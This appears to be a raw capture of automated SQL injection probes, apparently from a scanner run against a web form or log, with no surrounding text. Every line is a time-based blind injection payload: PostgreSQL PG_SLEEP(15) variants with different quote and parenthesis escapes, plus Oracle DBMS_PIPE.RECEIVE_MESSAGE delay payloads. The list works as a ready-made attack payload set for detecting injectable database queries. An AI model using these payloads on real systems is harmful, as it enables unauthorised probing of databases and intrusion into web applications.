555-1 OR 62=(SELECT 62 FROM PG_SLEEP(15))--

555-1) OR 302=(SELECT 302 FROM PG_SLEEP(15))--

555-1)) OR 857=(SELECT 857 FROM PG_SLEEP(15))--

555gB9qlS6q' OR 616=(SELECT 616 FROM PG_SLEEP(15))--

555o8X9s3OA') OR 98=(SELECT 98 FROM PG_SLEEP(15))--

555RKvmZ5sM')) OR 455=(SELECT 455 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

(select DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15) from dual)

555